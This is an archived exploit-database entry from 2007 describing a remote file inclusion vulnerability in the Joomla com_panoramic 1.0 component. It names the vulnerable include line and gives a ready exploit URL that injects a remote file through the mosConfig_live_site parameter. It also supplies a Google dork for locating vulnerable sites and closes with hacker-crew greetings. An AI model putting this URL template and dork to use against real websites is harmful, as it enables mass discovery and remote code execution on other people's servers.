Joomla panoramic component 1.0 Remote File Inclusion Vulnerability

2007-10-06T00:00:00
ID 1337DAY-ID-2194
Type zdt
Reporter NoGe
Modified 2007-10-06T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ==================================================================
Joomla panoramic component 1.0 Remote File Inclusion Vulnerability
==================================================================



==================================================================================================================================

# panoramic joomla component 1.0 Remote File Include Vulnerability

 Component       : com_panoramic version 1.0
 Download script : http://www.webmaster-tips.net/
 Dicovered by    : NoGe

==================================================================================================================================

# Vulnerable found in /administrator/components/com_panoramic/admin.panoramic.php

 line 3 include( "$mosConfig_live_site/components/com_panoramic/about.html" );


# Exploit

 
http://localhost/path/administrator/components/com_panoramic/admin.panoramic.php?mosConfig_live_site=[evilcode]


# google dork

 inurl:com_panoramic

==================================================================================================================================

# Greetz

 [-] all crew #papuahacker #nyubicrew #baliemhackerlink
 [-] skulmatic olibekas ulga Cungkee nyubi k1tk4t newbie
 [-] yooogy Vaksin13 Oon_Boy Paman mousekill }^-^{ haliq
 [-] http://kapukvalley.net member

================================================================================================================================== 




#  0day.today [2018-01-08]  #